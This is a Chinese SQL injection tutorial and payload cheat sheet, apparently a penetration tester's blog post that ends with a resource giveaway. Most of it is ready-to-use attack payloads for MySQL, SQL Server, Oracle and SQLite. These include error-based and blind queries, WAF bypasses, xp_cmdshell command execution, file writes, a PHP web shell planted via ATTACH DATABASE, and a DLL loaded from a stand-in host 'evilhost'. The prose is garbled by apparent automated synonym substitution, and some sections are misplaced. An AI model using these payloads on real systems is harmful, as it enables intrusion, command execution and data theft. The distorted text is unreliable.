目录
常见漏洞攻防
4.1 SQL注入
4.1.1. 注入分类
4.1.1.1. 简介
4.1.1.2. 按技巧分类
4.1.1.3. 按获取数据的办法分类
4.1.1.3.1. inband
4.1.1.3.2. inference
4.1.1.3.3. out of band (OOB)
4.1.2. 注入检测
4.1.2.1. 常见的注入点
4.1.2.2. Fuzz注入点
4.1.2.3. 测试用常量
4.1.2.4. 测试列数
4.1.2.5. 报错注入
4.1.2.5.1. 基于geometric的报错注入
4.1.2.6. 堆叠注入
4.1.2.7. 注释符
4.1.2.8. 判断过滤规则
4.1.2.9. 获取信息
4.1.2.10. 测试权限
4.1.3. 权限提升
4.1.3.1. UDF提权
4.1.4. 数据库检测
4.1.4.1. MySQL
4.1.4.2. Oracle
4.1.4.3. SQLServer
4.1.4.4. PostgreSQL
4.1.5. 绕过技巧
4.1.6. SQL注入小技巧
4.1.6.1. 宽字节注入
4.1.7. CheatSheet
4.1.7.1. SQL Server Payload
4.1.7.1.1. 常见Payload
4.1.7.1.2. 注册表读写
4.1.7.1.3. 报错注入
4.1.7.1.4. 常用函数
4.1.7.1.5. DNS OOB
4.1.7.1.6. 其他常用存储过程
4.1.7.2. MySQL Payload
4.1.7.2.1. 常见Payload
4.1.7.2.1.1. 报错注入常见函数
4.1.7.2.2. 写文件
4.1.7.2.2.1. 写文件条件
4.1.7.2.2.2. 基于 into 写文件
4.1.7.2.2.3. 基于 log 写文件
4.1.7.3. PostgresSQL Payload
4.1.7.4. Oracle Payload
4.1.7.4.1. 常见Payload
4.1.7.4.2. 写文件
4.1.7.5. SQLite3 Payload
4.1.8. 预编译
4.1.8.1. 简介
4.1.8.2. 仿照预编译
4.1.8.3. 绕过
4.1.8.3.1. 预编译利用缺点
4.1.8.3.2. 部分参数不可预编译
4.1.8.3.3. 预编译实现缺点
免费资料分享:
常见漏洞攻防4.1 SQL注入4.1.1. 注入分类4.1.1.1. 简介SQL注入是一种代码注入技能,用于攻击数据驱动的运用程序。 在运用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中实行(例如将数据库内容转储给攻击者)。
4.1.1.2. 按技巧分类根据利用的技巧,SQL注入类型可分为
盲注布尔盲注:只能从运用返回中推断语句实行后的布尔值韶光盲注:运用没有明确的回显,只能利用特定的韶光函数来判断报错注入:运用会显示全部或者部分的报错信息堆叠注入:有的运用可以加入 ; 后一次实行多条语句其他4.1.1.3. 按获取数据的办法分类其余也可以根据获取数据的办法分为3类
4.1.1.3.1. inband利用Web运用来直接获取数据,如报错注入,这类注入都是通过站点的相应或者缺点反馈来提取数据。
4.1.1.3.2. inference通过Web的一些反响来推断数据,如布尔盲注,也便是我们普通的盲注, 通过web运用的其他改变来推断数据。
4.1.1.3.3. out of band (OOB)通过其他传输办法来得到数据,比如DNS解析协议和电子邮件。
4.1.2. 注入检测4.1.2.1. 常见的注入点GET/POST/PUT/DELETE参数X-Forwarded-For文件名4.1.2.2. Fuzz注入点' / "1/11/0and 1=1" and "1"="1and 1=2or 1=1or 1=' and '1'='1+ - ^ % /<< >> || | & &&~!@反引号实行4.1.2.3. 测试用常量@@version@@servername@@language@@spid4.1.2.4. 测试列数例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null 至不返回
4.1.2.5. 报错注入select 1/0select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)aextractvalue(1, concat(0x5c,(select user())))updatexml(0x3a,concat(1,(select user())),1)exp(~(SELECT from(select user())a))ST_LatFromGeoHash((select from(select from(select user())a)b))GTID_SUBSET(version(), 1)4.1.2.5.1. 基于geometric的报错注入GeometryCollection((select from (select from(select user())a)b))polygon((select from(select from(select user())a)b))multipoint((select from(select from(select user())a)b))multilinestring((select from(select from(select user())a)b))LINESTRING((select from(select from(select user())a)b))multipolygon((select from(select from(select user())a)b))个中须要把稳的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,详细可以参考这个 commit 95825f 。
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
4.1.2.6. 堆叠注入;select 14.1.2.7. 注释符#--+/xxx//!xxx//!50000xxx/4.1.2.8. 判断过滤规则是否有trunc是否过滤某个字符是否过滤关键字slash和编码4.1.2.9. 获取信息判断数据库类型and exists (select from msysobjects ) > 0 access数据库and exists (select from sysobjects ) > 0 SQLServer数据库判断数据库表and exsits (select from admin)版本、主机名、用户名、库名表和字段确定字段数Order BySelect Into表名、列名4.1.2.10. 测试权限文件操作读敏感文件写shell带外通道网络要求4.1.3. 权限提升4.1.3.1. UDF提权UDF(User Defined Function,用户自定义函数)是MySQL供应的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。
当得到MySQL权限之后,即可通过这种办法上传自定义的扩展文件,从MySQL中实行系统命令。
4.1.4. 数据库检测4.1.4.1. MySQLsleep sleep(1)benchmark BENCHMARK(5000000, MD5('test'))字符串连接SELECT 'a' 'b'SELECT CONCAT('some','string')versionSELECT @@versionSELECT version()识别用函数connection_id()last_insert_id()row_count()4.1.4.2. Oracle字符串连接'a'||'oracle' --SELECT CONCAT('some','string')versionSELECT banner FROM v$versionSELECT banner FROM v$version WHERE rownum=14.1.4.3. SQLServerWAITFOR WAITFOR DELAY '00:00:10';SERVERNAME SELECT @@SERVERNAMEversion SELECT @@version字符串连接SELECT 'some'+'string'常量@@pack_received@@rowcount4.1.4.4. PostgreSQLsleep pg_sleep(1)4.1.5. 绕过技巧编码绕过大小写url编码html编码十六进制编码unicode编码注释// -- -- + -- - # // ;%00内联注释用的更多,它有一个特性 /!/ 只有MySQL能识别e.g. index.php?id=-1 /!UNION/ /!SELECT/ 1,2,3只过滤了一次时union => ununionion相同功能更换函数更换substring / mid / subascii / hex / binbenchmark / sleep变量更换user() / @@user符号和关键字and / &or / |HTTP参数HTTP参数污染id=1&id=2&id=3 根据容器不同会有不同的结果HTTP分割注入缓冲区溢出一些C措辞的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理二次注入有长度限定时,通过多句实行的方法改掉数据库该字段的长度绕过4.1.6. SQL注入小技巧4.1.6.1. 宽字节注入一样平常程序员用gbk编码做开拓的时候,会用 set names 'gbk' 来设定,这句话等同于
setcharacter_set_connection = 'gbk',character_set_result = 'gbk',character_set_client = 'gbk';
漏洞发生的缘故原由是实行了 set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而利用gbk去解码,而mysql_real_escape是在解码前实行的。但是直接用 set names 'gbk' 的话real_escape是不知道设置的数据的编码的,就会加 %5c 。此时server拿到数据解码 就认为提交的字符+%5c是gbk的一个字符,这样就产生漏洞了。
办理的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk') ,这里就会把编码的信息保存在和数据库的连接里面,就不会涌现这个问题了。 第三种便是用pdo。
还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin%32在代码里面不即是admin,在数据库比较会即是admin。
4.1.7. CheatSheet4.1.7.1. SQL Server Payload4.1.7.1.1. 常见PayloadVersionSELECT @@versionCommentSELECT 1 -- commentSELECT /comment/1Space0x01 - 0x20用户信息SELECT user_name()SELECT system_userSELECT userSELECT loginame FROM master..sysprocesses WHERE spid = @@SPID用户权限select IS_SRVROLEMEMBER('sysadmin')select IS_SRVROLEMEMBER('db_owner')List UserSELECT name FROM master..syslogins数据库信息SELECT name FROM master..sysdatabasesselect concat_ws(table_schema,table_name,column_name) from information_schema.columnsselect quotename(name) from master..sysdatabases FOR XML PATH('')实行命令EXEC xp_cmdshell 'net user'AsciiSELECT char(0x41)SELECT ascii('A')SELECT char(65)+char(66) => return ABDelayWAITFOR DELAY '0:0:3' pause for 3 secondsChange PasswordALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'Trickid=1 union:select password from:user文件读取OpenRowset当前查询语句select text from sys.dm_exec_requests cross apply sys.dm_exec_sql_text(sql_handle)hostname用于判断是否站库分离select host_name()exec xp_getnetname做事器信息exec xp_msver4.1.7.1.2. 注册表读写xp_regreadexec xp_regread N'HKEY_LOCAL_MACHINE', N'SYSTEM\CurrentControlSet\Services\MSSEARCH'xp_regwritexp_regdeletvaluexp_regdeletkeyxp_regaddmultistring4.1.7.1.3. 报错注入1=convert(int,(db_name()))4.1.7.1.4. 常用函数SUSER_NAME()USER_NAME()PERMISSIONS()DB_NAME()FILE_NAME()TYPE_NAME()COL_NAME()4.1.7.1.5. DNS OOBfn_xe_file_target_read_filefn_get_audit_filefn_trace_gettable4.1.7.1.6. 其他常用存储过程sp_execute_external_scriptsp_makewebtasksp_OACreatesp_OADestroysp_OAGetErrorInfosp_OAGetPropertysp_OAMethodsp_OASetPropertysp_OAStopxp_cmdshellxp_dirtreexp_enumerrorlogsxp_enumgroupsxp_fixeddrivesxp_getfiledetailsxp_loginconfig4.1.7.2. MySQL Payload4.1.7.2.1. 常见PayloadVersionSELECT @@versionCommentSELECT 1 -- commentSELECT 1 # commentSELECT /comment/1Space0x9 0xa-0xd 0x20 0xa0Current UserSELECT user()SELECT system_user()List UserSELECT user FROM mysql.userCurrent DatabaseSELECT database()List DatabaseSELECT schema_name FROM information_schema.schemataList TablesSELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'List ColumnsSELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'IfSELECT if(1=1,'foo','bar'); return 'foo'AsciiSELECT char(0x41)SELECT ascii('A')SELECT 0x414243 => return ABCDelaysleep(1)SELECT BENCHMARK(1000000,MD5('A'))Read Fileselect @@datadirselect load_file('databasename/tablename.MYD')Blindascii(substring(str,pos,length)) & 32 = 1Error Basedselect count(),(floor(rand(0)2))x from information_schema.tables group by x;select count() from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)2))Change Passwordmysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"4.1.7.2.1.1. 报错注入常见函数extractvalueupdatexmlGeometryCollectionlinestringmultilinestringmultipointmultipolygonpolygonexp4.1.7.2.2. 写文件4.1.7.2.2.1. 写文件条件root 权限知晓文件绝对路径写入的路径存在写入权限secure_file_priv 许可向对应位置写入select count(file_priv) from mysql.user4.1.7.2.2.2. 基于 into 写文件union select 1,1,1 into outfile '/tmp/demo.txt'union select 1,1,1 into dumpfile '/tmp/demo.txt'
dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性毁坏
4.1.7.2.2.3. 基于 log 写文件show variables like '%general%';set global general_log = on;set global general_log_file = '/path/to/file';select '<?php var_dump("test");?>';set global general_log_file = '/original/path';set global general_log = off;
create or replace directory TEST_DIR as '/path/to/dir';grant read, write on directory TEST_DIR to system;declare isto_file utl_file.file_type;begin isto_file := utl_file.fopen('TEST_DIR', 'test.jsp', 'W'); utl_file.put_line(isto_file, '<% out.println("test"); %>'); utl_file.fflush(isto_file); utl_file.fclose(isto_file);end;
Command Execution
ATTACH DATABASE '/var/www/lol.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
Load_extension
UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--
4.1.8. 预编译4.1.8.1. 简介SQL注入是由于阐明器将传入的数据当成命令实行而导致的,预编译是用于办理这个问题的一种方法。和普通的实行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后真个SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中实行。由于此时语法解析已经完成,以是不会再涌现稠浊数据和代码的过程。
4.1.8.2. 仿照预编译为了防止低版本数据库不支持预编译的情形,仿照预编译会在客户端内部仿照参数绑定的过程,进行自定义的转义。
4.1.8.3. 绕过4.1.8.3.1. 预编译利用缺点预编译只是利用占位符替代的字段值的部分,如果第一次交互传入的命令利用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。
4.1.8.3.2. 部分参数不可预编译在有的情形下,数据库处理引擎会检讨数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情形下如果表名和列名可控,则可能引入漏洞。
4.1.8.3.3. 预编译实现缺点部分措辞引擎在实现上存在一定问题,可能会存在绕过漏洞。
免费资料分享:
看到这里的大佬,动动发财的小手 点赞 + 回答 + 收藏,能【 关注 】一波就更好了
我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些网络安全/渗透测试学习干货贡献给大家,回馈每一个读者,希望能帮到你们。
干货紧张有:
① 2000多本网安必看电子书(主流和经典的书本该当都有了)
② PHP标准库资料(最全中文版)
③ 项目源码(四五十个有趣且经典的练手项目及源码)
④ 网络安全根本入门、Linux运维,web安全、渗透测试方面的视频(适宜小白学习)
⑤ 网络安全学习路线图(告别不入流的学习)
⑥ 渗透测试工具大全
⑦ 2021网络安全/Web安全/渗透测试工程师口试手册大全